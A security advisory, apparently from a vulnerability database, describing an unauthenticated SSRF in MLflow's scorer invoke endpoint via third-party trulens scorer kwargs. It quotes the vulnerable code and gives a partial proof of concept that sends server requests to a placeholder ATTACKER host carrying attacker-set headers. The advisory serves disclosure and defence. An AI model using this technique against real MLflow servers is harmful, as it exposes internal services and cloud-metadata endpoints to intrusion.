logo

Database

Server-side request forgery (SSRF) In mlflow

Description

MLflow: SSRF on unauthenticated MLflow servers via third-party scorer kwargs in the scorer invoke, register, and GenAI evaluate endpoints

Summary

MLflow's tracking server exposes POST /ajax-api/3.0/mlflow/scorer/invoke with no authentication, and the handler reflectively instantiates an attacker-named class from attacker-supplied JSON with unconstrained constructor kwargs. With the optional trulens + trulens-providers-litellm packages installed, an unauthenticated attacker can force the server to make an outbound HTTP request to an arbitrary host of their choosing, carrying attacker-controlled headers (SSRF).

Details

Scorer.model_validate_json() reflects a class name from a JSON payload behind an import-path allowlist that never constrains the reflected attribute or its kwargs, in mlflow/genai/scorers/base.py:549-604:

data = serialized.third_party_scorer_data          # attacker JSON
module_path = data.get("module") or ""
class_name = data.get("class")
if not any(module_path == m or module_path.startswith(m + ".")
           for m in THIRD_PARTY_SCORER_ALLOWED_MODULES):
    raise MlflowException.invalid_parameter_value(...)
module = importlib.import_module(module_path)
scorer_class = getattr(module, class_name, None)   # attribute NOT constrained...

The allowlist (mlflow/genai/scorers/scorer_utils.py:46-51) only gates the import path:

THIRD_PARTY_SCORER_ALLOWED_MODULES = frozenset({
    "mlflow.genai.scorers.ragas",
    "mlflow.genai.scorers.deepeval",
    "mlflow.genai.scorers.trulens",
    "mlflow.genai.scorers.phoenix",
})

For a mlflow.genai.scorers.trulens class, the forwarded model/kwargs reach an outbound LLM client through a routing choice the attacker controls (mlflow/genai/scorers/trulens/models.py:97-121):

backend = ScorerLLMClient(model_uri)
if backend.route == "databricks":
    return _create_databricks_provider(backend, **kwargs)
if backend.is_native:
    return _create_gateway_provider(backend, **kwargs)
try:
    from trulens.providers.litellm import LiteLLM
    litellm_model = backend.model_name...

Only the litellm fallback branch reaches raw **kwargs; a model URI outside MLflow's native provider registry (e.g. openai:/gpt-4o) trivially routes there, and LiteLLM.__init__ forwards api_base/api_key straight into litellm.completion().

    Route: POST /ajax-api/3.0/mlflow/scorer/invoke → _invoke_scorer_handler (mlflow/server/handlers.py:7026-7098), guarded only by @catch_mlflow_exception/@_disable_if_artifacts_only — no auth decorator.

    Scorer.model_validate_json(serialized_scorer) (the vulnerable deserialization) runs synchronously, before any tracking-store lookup or submit_job call.

    Precondition: the server venv must have trulens + trulens-providers-litellm installed (a documented but optional, not-bundled GenAI-eval setup).

PoC

import time
import mlflow
from mlflow import MlflowClient
import requests

TARGET = "http://TARGET:5000"           # MLflow tracking server, no auth configured
ATTACKER = "http://ATTACKER/collect"    # host the attacker controls and monitors
...
# Attacker-controlled listener at ATTACKER receives, moments later:
POST /collect/chat/completions HTTP/1.1
Authorization: Bearer ATTACKER-CANARY
Content-Type: application/json
...

The POST .../chat/completions request landing on ATTACKER, carrying the attacker's own Authorization header, is the server-originated outbound request — no request was ever sent by the client to that host directly.

Impact

An unauthenticated attacker forces the tracking server to issue an outbound HTTP request to an arbitrary attacker-chosen host — reachable from the server's network position, including internal services or cloud-metadata endpoints — with fully attacker-controlled request headers and body. This is SSRF with header/credential injection into the server-originated request; it requires no prior authentication and no operator misconfiguration beyond having the optional trulens + trulens-providers-litellm packages installed alongside MLflow.

Mitigation

Update Impact

Minimal update. May introduce new vulnerabilities or breaking changes.

Ecosystem
Component
Affected version
Patched versions